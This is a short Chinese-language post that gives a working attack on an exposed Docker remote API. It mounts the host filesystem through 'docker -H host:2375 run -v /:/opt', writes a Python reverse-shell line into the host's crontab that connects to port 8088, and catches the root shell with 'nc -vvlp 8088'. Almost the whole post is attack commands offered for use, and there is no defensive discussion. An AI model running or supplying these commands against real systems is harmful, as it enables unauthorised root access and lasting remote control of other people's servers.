Docker api getshell

docker -H xxxx:2375 run -it -v /:/opt ubuntu bash

echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"   IP   \",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /opt/etc/crontab

这个IP 填写容器内的IP 172.17.0.X
然后在容器里,执行 nc -vvlp 8088

等一会你就会发现Docker主机的root权限,已经弹到容器内了。

你可能感兴趣的:(Docker api getshell)